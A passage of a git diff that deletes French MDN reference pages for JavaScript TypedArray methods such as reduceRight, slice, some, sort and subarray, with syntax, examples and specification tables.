Si le tableau typé est vide et que le paramètre valeurInitiale n'a pas été fourni, une exception {{jsxref("TypeError")}} sera levée. SI le tableau typé ne possède qu'un seul élément et que valeurInitiale n'a pas été fourni (ou que valeurInitiale a été utilisée mais que le tableau typé est vide), la valeur unique sera renvoyée et callback ne sera pas appelée.

- -

Exemples

- -
var total = new Uint8Array([0, 1, 2, 3]).reduce(function(a, b) {
-  return a + b;
-});
-// total == 6
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-%typedarray%.prototype.reduce', '%TypedArray%.prototype.reduce')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.reduce', '%TypedArray%.prototype.reduce')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.reduce")}}

- -

Voir aussi

- -
    -
  • {{jsxref("TypedArray.prototype.reduceRight()")}}
    • -
  • {{jsxref("Array.prototype.reduce()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/reduceright/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/reduceright/index.html deleted file mode 100644 index 141b38f5b8..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/reduceright/index.html +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: TypedArray.prototype.reduceRight() -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/reduceRight -tags: - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArray - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/reduceRight ---- -
{{JSRef}}
- -

La méthode reduceRight() applique une fonction sur un accumulateur et chaque valeur du tableau typé (de la droite vers la gauche) afin de réduire le tableau en une seule valeur. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.reduceRight()")}}. Dans le reste de cet article TypedArray correspond à un des types de tableaux typés.

- -

Syntaxe

- -
typedarray.reduceRight(callback[, valeurInitiale])
- -

Paramètres

- -
-
callback
-
La fonction à exécuter sur chaque valeur du tableau typé. Elle utilise quatre arguments : -
-
valeurPrécédente
-
La valeur renvoyée précédemment par l'appel précédent à callback. Dans le cadre du premier élément, ce sera valeurInitiale si ce paramètre est fourni (voir ci-après).
-
valeurCourante
-
L'élément du tableau typé en cours de traitement
-
index
-
L'indice de l'élément du tableau typé en cours de traitement.
-
array
-
Le tableau typé pour lequel reduceRight a été appelée.
-
-
-
valeurInitiale
-
Paramètre optionnel qui correspond à l'objet à utiliser en tant que premier argument pour le premier appel à callback.
-
- -

Valeur de retour

- -

La valeur obtenue à partir de la réduction du tableau typé.

- -

Description

- -

La méthode reduceRight exécute la fonction callback une fois pour chaque élément présent dans le tableau typé (les éléments vides ou supprimés ne sont pas traités). La fonction callback utilise quatre arguments : la valeur initiale ou la valeur précédemment calculée, la valeur de l'élément courant, l'indice de l'élément courant et le tableau typé qui est parcouru.

- -

L'appel à reduceRight utilisant la fonction callback ressemble à :

- -
typedarray.reduceRight(function(valeurPrécédente, valeurCourante, index, typedarray) {
-  // ...
-});
- -

Lors du premier appel à la fonction callback, valeurPrécédente et valeurCourante peuvent être un ou deux valeurs différentes. Si valeurInitiale est fournie, valeurPrécédente sera alors égale à valeurInitiale et valeurCourante sera égale à la première valeur du tableau. Si le paramètre valeurInitiale n'est pas utilisé, valeurPrécédente sera égale au premier élément du tableau typé et valeurCourante sera égale au second élément.

- -

Si le tableau typé est vide et que le paramètre valeurInitiale n'a pas été fourni, une exception {{jsxref("TypeError")}} sera levée. SI le tableau typé ne possède qu'un seul élément et que valeurInitiale n'a pas été fourni (ou que valeurInitiale a été utilisée mais que le tableau typé est vide), la valeur unique sera renvoyée et callback ne sera pas appelée.

- -

Exemples

- -
var total = new Uint8Array([0, 1, 2, 3]).reduceRight(function(a, b) {
-  return a + b;
-});
-// total == 6
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-%typedarray%.prototype.reduceRight', '%TypedArray%.prototype.reduceRight')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.reduceRight', '%TypedArray%.prototype.reduceRight')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.reduceRight")}}

- -

Voir aussi

- -
    -
  • {{jsxref("TypedArray.prototype.reduce()")}}
    • -
  • {{jsxref("Array.prototype.reduceRight()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/reverse/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/reverse/index.html deleted file mode 100644 index 9fa9792bf6..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/reverse/index.html +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: TypedArray.prototype.reverse() -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/reverse -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArray - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/reverse ---- -
{{JSRef}}
- -

La méthode reverse() inverse les éléments d'un tableau. Le premier élément du tableau typé devient le dernier, le dernier élément devient le premier et ainsi de suite. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.reverse()")}}. Dans le reste de cet article TypedArray correspond à un des types de tableaux typés.

- -
{{EmbedInteractiveExample("pages/js/typedarray-reverse.html")}}
- - - -

Syntaxe

- -
typedarray.reverse();
- -

Valeur de retour

- -

Le tableau typé dont les éléments ont été inversés.

- -

Exemples

- -
var uint8 = new Uint8Array([1, 2, 3]);
-uint8.reverse();
-
-console.log(uint8); // Uint8Array [3, 2, 1]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.reverse', 'TypedArray.prototype.reverse')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.reverse', 'TypedArray.prototype.reverse')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.reverse")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.reverse()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/set/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/set/index.html deleted file mode 100644 index 32247448e1..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/set/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: TypedArray.prototype.set() -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/set -tags: - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArray -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/set ---- -
{{JSRef}}
- -

La méthode set() permet d'enregistrer plusieurs valeurs dans le tableau typé à partir d'un tableau donné.

- -
{{EmbedInteractiveExample("pages/js/typedarray-set.html")}}
- - - -

Syntaxe

- -
typedArr.set(tableau [, décalage])
-typedArr.set(tableauTypé [, décalage])
-
- -

Paramètres

- -
-
tableau
-
Le tableau à partir duquel on copie les valeurs. Toutes les valeurs du tableau source seront copiées dans le tableau cible sauf si la longueur du tableau cible est trop courte en fonction du décalage défini et de la longueur du tableau source : dans ce cas, un exception sera renvoyée.
-
tableauTypé
-
Si le tableau source est un tableau typé, il se peut que les deux tableaux partagent le même {{jsxref("ArrayBuffer")}} ; le moteur effectuera alors une copie intelligente entre le tableau source et le tableau ciblé.
-
décalage {{optional_inline}}
-
Le décalage, exprimé en nombre d'éléments, à partir duquel copier les valeurs du tableau source dans le tableau cible. Si le paramètre n'est pas utilisé, la valeur par défaut sera 0 (ce qui correspond au cas où les éléments seront copiés au début du tableau).
-
- -

Valeur de retour

- -

{{jsxref("undefined")}}.

- -

Exceptions

- -
-
{{jsxref("RangeError")}}
-
Cette exception est renvoyée lorsque le décalage est tel que des valeurs seraient enregistrées en dehors du tableau typé.
-
- -

Exemples

- -
var buffer = new ArrayBuffer(8);
-var uint8 = new Uint8Array(buffer);
-
-uint8.set([1, 2, 3], 3);
-
-console.log(uint8); // Uint8Array [ 0, 0, 0, 1, 2, 3, 0, 0 ]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Englobée avec ECMAScript 6.
{{SpecName('ES6', '#sec-%typedarray%.prototype.set-array-offset', 'TypedArray.prototype.set')}}{{Spec2('ES6')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.set-array-offset', 'TypedArray.prototype.set')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.set")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/slice/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/slice/index.html deleted file mode 100644 index 4be18cbecc..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/slice/index.html +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: TypedArray.prototype.slice() -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/slice -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArray - - TypedArrays - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/slice ---- -
{{JSRef}}
- -

La méthode slice() renvoie une copie superficielle (shallow copy) d'un fragment du tableau typé courant dans un nouveau tableau typé. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.slice()")}}. TypedArray est utilisé par la suite de façon générique pour réprésenter l'un des types de tableaux typés.

- -
{{EmbedInteractiveExample("pages/js/typedarray-slice.html")}}
- - - -

Syntaxe

- -
typedarray.slice([début[, fin]])
- -

Paramètres

- -
-
début {{optional_inline}}
-
L'indice (compté à partir de zéro) à partir duquel commencer le fragment.
-
Si l'indice fourni est négatif, début indiquera le décalage par rapport à la fin de la séquence. Par exemple, slice(-2) extrait les deux derniers éléments de la séquence.
-
Par défaut, si début n'est pas utilisé, slice() commencera à partir de l'indice 0.
-
fin {{optional_inline}}
-
L'indice (compté à partir de zéro) jusqu'auquel extraire le fragment. Le fragment obtenu n'incluera pas l'élément situé à l'indice fin.
-
slice(1,4) extrait par exemple à partir du deuxième élément et jusqu'au quatrième (c'est-à-dire les éléments dont les indices respectifs sont 1, 2, et 3).
-
Si l'indice utilisé est négatif, fin indiquera le décalage par rapport à la fin de la séquence. Ainsi, slice(2,-1) extraira à partir du troisième élément et jusqu'à l'avant dernier élément (compris).
-
Par défaut, si fin n'est pas utilisé, slice() extraira les éléments jusqu'à la fin de la séquence (arr.length).
-
- -

Valeur de retour

- -

Un nouveau tableau typé qui contient les éléments extraits.

- -

Description

- -

La méthode slice() ne modifie pas le tableau typé courant, elle renvoie une copie superficielle (shallow copy) du tableau typé original.

- -

Si un nouvel élément est ajouté à l'un des deux tableaux typés, l'autre ne sera pas impacté.

- -

Exemples

- -
var uint8 = new Uint8Array([1,2,3]);
-uint8.slice(1);   // Uint8Array [ 2, 3 ]
-uint8.slice(2);   // Uint8Array [ 3 ]
-uint8.slice(-2);  // Uint8Array [ 2, 3 ]
-uint8.slice(0,1); // Uint8Array [ 1 ]
- -

Prothèse d'émulation (polyfill)

- -

Il n'existe pas d'objet global intitulé TypedArray, la prothèse doit donc uniquement être employée si nécessaire :

- -
// https://tc39.github.io/ecma262/#sec-%typedarray%.prototype.slice
-if (!Uint8Array.prototype.slice) {
-  Object.defineProperty(Uint8Array.prototype, 'slice', {
-    value: function (begin, end){
-      return new Uint8Array(Array.prototype.slice.call(this, begin, end));
-    }
-  });
-}
-
- -

De plus cette prothèse n'est pas parfaite car elle renvoie une instance d'Array et pas de Uint8Array. Elle manque donc des propriétés normalement associées aux objets TypedArray.

- -

S'il faut également prendre en charge les moteurs JavaScript qui ne prennent pas en charge la méthode {{jsxref("Object.defineProperty")}}, mieux vaut ne pas ajouter de prothèse du tout pour TypedArray.prototype car on ne peut pas les rendre non-énumérables.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.slice', '%TypedArray%.prototype.slice')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.slice', '%TypedArray%.prototype.slice')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.slice")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.slice()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/some/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/some/index.html deleted file mode 100644 index 31fb309ab9..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/some/index.html +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: TypedArray.prototype.some() -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/some -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArray - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/some ---- -
{{JSRef}}
- -

La méthode some() teste si certains éléments du tableau typé remplissent une condition décrite par la fonction de test donnée. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.some()")}}. Dans le reste de cet article TypedArray correspond à un des types de tableaux typés.

- -
{{EmbedInteractiveExample("pages/js/typedarray-some.html")}}
- - - -

Syntaxe

- -
typedarray.some(callback[, thisArg])
- -

Paramètres

- -
-
callback
-
La fonction à tester pour chaque élément. Elle prend trois arguments : -
-
valeurCourante
-
L'élément du tableau typé en cours de traitement.
-
index
-
L'indice de l'élément du tableau typé en cours de traitement.
-
array
-
Le tableau typé sur lequel la méthode some a été appelée.
-
-
-
thisArg
-
Paramètre optionnel, la valeur à utiliser en tant que this lors de l'exécution de callback.
-
- -

Valeur de retour

- -

true si la fonction de rappel renvoie une valeur équivalente à true pour chaque élément du tableau typé, false sinon.

- -

Description

- -

La méthode some exécute la fonction callback fournie pour chaque élément du tableau typé jusqu'à ce que callback renvoie une valeur vraie (une valeur qui vaut true lorsqu'elle est convertie en un booléen). Si un tel élément est trouvé, la méthode some renvoie immédiatement true. Dans le cas contraire, si callback renvoie une valeur fausse pour tous les éléments, la méthode some renverra false.

- -

callback est appelé avec trois arguments : la valeur de l'élément, l'indice de cet élément et le tableau qui est parcouru.

- -

Si le paramètre thisArg est utilisé, il sera passé à la fonction callback en tant que valeur this. Sinon, la valeur undefined sera utilisée comme valeur this. La valeur this définitivement prise en compte par la fonction callback est déterminée selon les règles usuelles de détermination de this.

- -

some ne modifie pas le tableau typé sur lequel elle a été appelée.

- -

Exemples

- -

Tester la valeur des éléments d'un tableau typé

- -

Dans l'exemple qui suit, on teste s'il existe au moins un élément du tableau typé qui est supérieur à 10.

- -
function supérieurÀ10(élément, index, array) {
-  return élément > 10;
-}
-new Uint8Array([2, 5, 8, 1, 4]).some(supérieurÀ10);  // false
-new Uint8Array([12, 5, 8, 1, 4]).some(supérieurÀ10); // true
-
- -

Tester la valeur des éléments avec les fonctions fléchées

- -

Les fonctions fléchées permettent d'utiliser une syntaxe plus concise pour arriver au même résultat :

- -
new Uint8Array([2, 5, 8, 1, 4]).some(elem => elem > 10); // false
-new Uint8Array([12, 5, 8, 1, 4]).some(elem => elem > 10); // true
- -

Prothèse d'émulation (polyfill)

- -

Il n'existe pas d'objet global intitulé TypedArray, la prothèse doit donc uniquement être employée si nécessaire :

- -
// https://tc39.github.io/ecma262/#sec-%typedarray%.prototype.slice
-if (!Uint8Array.prototype.some) {
-  Object.defineProperty(Uint8Array.prototype, 'some', {
-    value: Array.prototype.some
-  });
-}
-
- -

S'il faut également prendre en charge les moteurs JavaScript qui ne prennent pas en charge la méthode {{jsxref("Object.defineProperty")}}, mieux vaut ne pas ajouter de prothèse du tout pour TypedArray.prototype car on ne peut pas les rendre non-énumérables.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.some', 'TypedArray.prototype.some')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.some', 'TypedArray.prototype.some')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.some")}}

- -

Voir aussi

- -
    -
  • {{jsxref("TypedArray.prototype.every()")}}
    • -
  • {{jsxref("Array.prototype.some()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/sort/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/sort/index.html deleted file mode 100644 index d6a83dfc5b..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/sort/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: TypedArray.prototype.sort() -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/sort -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArray - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/sort ---- -
{{JSRef}}
- -

La méthode sort() permet de trier numériquement les éléments d'un tableau typé, à même ce tableau. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.sort()")}} en triant les valeurs par ordre numérique plutôt que par ordre lexicographique. Par la suite, TypedArray désigne l'un des types de tableau typé here.

- -
{{EmbedInteractiveExample("pages/js/typedarray-sort.html")}}
- - - -

Syntaxe

- -
typedarray.sort([fonctionComparaison])
- -

Paramètres

- -
-
fonctionComparaison {{optional_inline}}
-
Cette fonction définit l'ordre de tri à appliquer.
-
- -

Valeur de retour

- -

Le tableau typé trié.

- -

Exemples

- -

Pour plus d'exemples, voir la page sur la méthode {{jsxref("Array.prototype.sort()")}}.

- -
var nombres = new Uint8Array([40, 1, 5, 200]);
-nombres.sort();
-// Uint8Array [ 1, 5, 40, 200 ]
-// Contrairement aux tableaux classiques (Array), une fonction
-// de comparaison n'est pas nécessaire pour les nombres
-
-var nombres2 = [40, 1, 5, 200];
-nombres2.sort();
-// Les éléments d'un tableau classique sont triés comme des chaînes
-// [1, 200, 40, 5]
-
-function comparaisonNombres(a, b) {
-  return a - b;
-}
-
-nombres.sort(comparaisonNombres);
-// [ 1, 5, 40, 200 ]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.sort', 'TypedArray.prototype.sort')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.sort', 'TypedArray.prototype.sort')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.sort")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.sort()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/subarray/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/subarray/index.html deleted file mode 100644 index 78456fb4cd..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/subarray/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: TypedArray.prototype.subarray() -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/subarray -tags: - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArray -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/subarray ---- -
{{JSRef}}
- -

La méthode subarray() permet de renvoyer un nouvel objet TypedArray basé sur le même {{jsxref("ArrayBuffer")}} et dont les éléments sont du même type que l'objet TypedArray courant. Le paramètre début est à considérer au sens large et le paramètre end est à considérer au sens strict. TypedArray est l'un des types de tableaux typés.

- -
{{EmbedInteractiveExample("pages/js/typedarray-subarray.html")}}
- - - -

Syntaxe

- -
typedarray.subarray([début[,fin]])
-
- -

Paramètres

- -
-
début{{optional_inline}}
-
L'élément à partir duquel commencer le nouveau tableau typé. Cet élément initial sera inclus dans le nouveau tableau (sens large). Si la valeur n'est pas définie, tout le tableau sera inclus dans la nouvelle vue.
-
fin{{optional_inline}}
-
L'élément auquel finir le nouveau tableau typé. Cet élément ne fera pas partie du nouveau tableau (sens strict). Si ce paramètre n'est pas utilisé, tous les éléments contenus à partir de début jusqu'à la fin du tableau courant seront inclus dans la nouvelle vue.
-
- -

Valeur de retour

- -

Un nouvel objet {{jsxref("TypedArray")}}.

- -

Description

- -

L'intervalle défini par début et fin est redimensionné si besoin pour être un intervalle valide en regard du tableau courant. Si la longueur du nouveau tableau est négative, elle est ramenée à zéro. Si début ou fin a une valeur négative, on prendra en compte la position à partir de la fin du tableau et non à partir du début de celui-ci.

- -

On notera que cette méthode permet de créer un nouvelle vue sur le tampon (buffer) existant, tous les changements apportés via le nouvel objet impacteront le tableau typé initial et vice versa.

- -

Exemples

- -
var buffer = new ArrayBuffer(8);
-var uint8 = new Uint8Array(buffer);
-uint8.set([1,2,3]);
-
-console.log(uint8); // Uint8Array [ 1, 2, 3, 0, 0, 0, 0, 0 ]
-
-var sub = uint8.subarray(0,4);
-
-console.log(sub);   // Uint8Array [ 1, 2, 3, 0 ]
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Remplacée par ECMAScript 6.
{{SpecName('ES6', '#sec-%typedarray%.prototype.subarray', 'TypedArray.prototype.subarray')}}{{Spec2('ES6')}}Définition initiale au sein d'un standard ECMA.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.subarray', 'TypedArray.prototype.subarray')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.subarray")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/tolocalestring/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/tolocalestring/index.html deleted file mode 100644 index 605a1d14be..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/tolocalestring/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: TypedArray.prototype.toLocaleString() -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/toLocaleString -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArray - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/toLocaleString ---- -
{{JSRef}}
- -

La méthode toLocaleString() renvoie une chaîne de caractères uqi représente les éléments du tableau typé. Les éléments sont convertis en chaînes de caractères et séparés par une chaîne de caractères qui est fonction de la locale (la virgule « , » par exemple). Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.toLocaleString()")}} et vu que les éléments d'un tableau typé sont des nombres, elle utilise le même algorithme que {{jsxref("Number.prototype.toLocaleString()")}} pour chaque élément. Dans la suite de cet article, TypedArray fait référence à l'un des types de tableau typé listés ici.

- -

Syntaxe

- -
typedarray.toLocaleString([locales [, options]]);
- -

Paramètres

- -
{{page('/fr/docs/Web/JavaScript/Référence/Objets_globaux/NumberFormat', 'Paramètres')}}
- -

Valeur de retour

- -

Une chaîne de caractères qui représente les éléments du tableau typé.

- -

Exemples

- -
var uint = new Uint32Array([2000, 500, 8123, 12, 4212]);
-
-uint.toLocaleString();
-// Si on utilise la locale de-DE
-// "2.000,500,8.123,12,4.212"
-
-uint.toLocaleString("en-US");
-// "2,000,500,8,123,12,4,212"
-
-uint.toLocaleString('ja-JP', { style: 'currency', currency: 'JPY' });
-// "￥2,000,￥500,￥8,123,￥12,￥4,212"
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.tolocalestring', 'TypedArray.prototype.toLocaleString')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.tolocalestring', 'TypedArray.prototype.toLocaleString')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.toLocaleString")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.toLocaleString()")}}
    • -
  • {{jsxref("Number.prototype.toLocaleString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/tostring/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/tostring/index.html deleted file mode 100644 index b9a4932d9a..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/tostring/index.html +++ /dev/null @@ -1,79 +0,0 @@ ---- -title: TypedArray.prototype.toString() -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/toString -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArray -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/toString ---- -
{{JSRef}}
- -

La méthode toString() renvoie une chaîne de caractères qui représente le tableau typé et ses éléments. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.toString()")}}. Dans la suite de cet article, TypedArray fait référence à l'un des types de tableau typé listés ici.

- -
{{EmbedInteractiveExample("pages/js/typedarray-tostring.html")}}
- - - -

Syntaxe

- -
typedarray.toString()
- -

Valeur de retour

- -

Une chaîne de caractères qui représente les éléments du tableau typé.

- -

Description

- -

Les objets {{jsxref("TypedArray")}} surchargent la méthode toString de {{jsxref("Object")}}. Pour les objets TypedArray, la méthode toString fusionne le tableau et renovoie une chaîne de caractères contenant les éléments du tableau, chacun séparés par une virgule. Par exemple :

- -
var numbers = new Uint8Array([2, 5, 8, 1, 4])
-numbers.toString(); // "2,5,8,1,4"
-
- -

JavaScript appelle automatiquement la méthode toString() lorsqu'un tableau typé doit être manipulé sous une forme textuelle (par exemple lorsqu'il est utilisé avec une chaîne de caractères dans une concaténation).

- -

Compatibilité

- -

Si un navigateur ne prend pas encore en charge la méthode TypedArray.prototype.toString(), le moteur JavaScript utilisera la méthode toString rattachée à {{jsxref("Object")}} :

- -
var numbers = new Uint8Array([2, 5, 8, 1, 4])
-numbers.toString(); // "[object Uint8Array]"
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.tostring', 'TypedArray.prototype.toString')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.tostring', 'Array.prototype.toString')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.toString")}}

- -

Voir aussi

- -
    -
  • {{jsxref("TypedArray.prototype.join()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/typedarray/values/index.html b/files/fr/web/javascript/reference/objets_globaux/typedarray/values/index.html deleted file mode 100644 index 08f16af8f9..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typedarray/values/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: TypedArray.prototype.values() -slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/values -tags: - - ECMAScript 2015 - - Iterator - - JavaScript - - Méthode - - Prototype - - Reference - - TypedArray - - TypedArrays -translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/values ---- -
{{JSRef}}
- -

La méthode values() renvoie un nouvel objet Array Iterator qui contient les valeurs pour chaque indice du tableau.

- -
{{EmbedInteractiveExample("pages/js/typedarray-values.html")}}
- - - -

Syntaxe

- -
typedArr.values()
- -

Valeur de retour

- -

Un nouvel objet Array Iterator.

- -

Exemples

- -

Parcourir le tableau typé avec for...of

- -
var arr = new Uint8Array([10, 20, 30, 40, 50]);
-var eArray = arr.values();
-// prérequis : le navigateur doit supporter les boucles
-// for..of et les variables dont la portée est définie
-// par let
-for (let n of eArray) {
-  console.log(n);
-}
-
- -

Une autre méthode d'itération

- -
var arr = new Uint8Array([10, 20, 30, 40, 50]);
-var eArr = arr.values();
-console.log(eArr.next().value); // 10
-console.log(eArr.next().value); // 20
-console.log(eArr.next().value); // 30
-console.log(eArr.next().value); // 40
-console.log(eArr.next().value); // 50
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-%typedarray%.prototype.values', '%TypedArray%.prototype.values()')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-%typedarray%.prototype.values', '%TypedArray%.prototype.values()')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.TypedArray.values")}}

- -

Voir aussi

- -
    -
  • Les tableaux typés en JavaScript
    • -
  • {{jsxref("TypedArray")}}
    • -
  • {{jsxref("TypedArray.prototype.entries()")}}
    • -
  • {{jsxref("TypedArray.prototype.keys()")}}
    • -
  • {{jsxref("TypedArray.prototype.@@iterator()", "TypedArray.prototype[@@iterator]()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/typeerror/index.html b/files/fr/web/javascript/reference/objets_globaux/typeerror/index.html deleted file mode 100644 index ffaab9a317..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/typeerror/index.html +++ /dev/null @@ -1,139 +0,0 @@ ---- -title: TypeError -slug: Web/JavaScript/Reference/Objets_globaux/TypeError -tags: - - Error - - JavaScript - - Object - - Reference - - TypeError -translation_of: Web/JavaScript/Reference/Global_Objects/TypeError ---- -
{{JSRef}}
- -

L'objet TypeError représente une erreur qui intervient lorsque la valeur n'est pas du type attendu.

- -

Syntaxe

- -
